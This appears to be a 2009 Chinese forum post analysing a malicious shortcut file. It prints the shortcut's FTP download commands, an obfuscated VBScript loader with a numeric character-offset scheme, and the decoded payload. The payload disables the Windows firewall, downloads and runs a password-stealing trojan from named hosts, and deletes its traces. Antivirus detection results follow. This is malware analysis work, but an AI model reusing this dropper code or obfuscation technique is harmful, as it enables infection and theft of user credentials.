lnk内容:
- echo o g03z.com>x
- echo aa33>>x
- echo bb33>>x
- echo get r r.vbs>>x
- echo by>>x
- ftp -s:x
- start r.vbs
复制代码 r.vbs内容:
- function m
- for i=1 to UBound(v)
- h=h&chr(v(i)-632)
- next
- Set kk = CreateObject("Wscript.Shell")
- kk.run h,0
- end function
- v=array(645,731,741,732,664,679,731,664,742,733,748,664,747,748,743,744,664,747,736,729,746,733,732,729,731,731,733,747,747,670,733,731,736,743,664,743,664,748,734,748,734,748,678,742,733,748,694,741,678,748,752,748,670,733,731,736,743,664,729,729,683,683,694,694,741,678,748,752,748,670,733,731,736,743,664,730,730,683,683,694,694,741,678,748,752,748,670,733,731,736,743,664,735,733,748,664,732,664,732,678,733,752,733,694,694,741,678,748,752,748,670,733,731,736,743,664,730,753,733,694,694,741,678,748,752,748,670,734,748,744,664,677,747,690,741,678,748,752,748,670,732,733,740,664,741,678,748,752,748,670,732,678,733,752,733,670,729,748,748,746,737,730,664,695,678,750,730,747,664,677,746,670,732,733,740,664,695,664,695,678,730,729,748,664,695,678,750,730,747,664,695,678,733,752,733,670,670,747,748,729,746,748,664,736,748,748,744,690,679,679,748,751,678,741,729,748,731,736,678,753,729,736,743,743,678,731,743,741,679)
- m
复制代码 显然这个vbs加密了,解密后得到:
cmd /c
- net stop sharedaccess
- echo o tftft.net>m.txt
- echo aa33>>m.txt
- echo bb33>>m.txt
- echo get d d.exe>>m.txt
- echo bye>>m.txt
- ftp -s:m.txt
- del m.txt
- d.exe
- attrib ?.vbs -r
- del ? ?.bat ?.vbs ?.exe
- start http://tw.match.yahoo.com/
复制代码 d.exe
F-Secure AV 2010
结果: 找到 3 恶意软件
Trojan.Generic.2640509 (病毒)
* C:\Documents and Settings\Administrator\桌面\Test\正咩2\d.exe\ins.exe
Trojan.Generic.2632655 (病毒)
* C:\Documents and Settings\Administrator\桌面\Test\正咩2\d.exe\ins1.exe
Dropped:Trojan.Generic.2640509 (病毒)
* C:\Documents and Settings\Administrator\桌面\Test\正咩2\d.exe
Avira AntiVir
C:\Documents and Settings\Administrator\桌面\Test\正咩2\d.exe
[DETECTION] Contains recognition pattern of the DR/PSW.Online.all dropper
--> ins.exe
[DETECTION] Is the TR/PSW.OnLineGa.cbc Trojan
--> ins1.exe
[DETECTION] Is the TR/PSW.OnLineGa.cbd Trojan
[ 本帖最后由 will 于 2009-11-12 09:40 编辑 ] |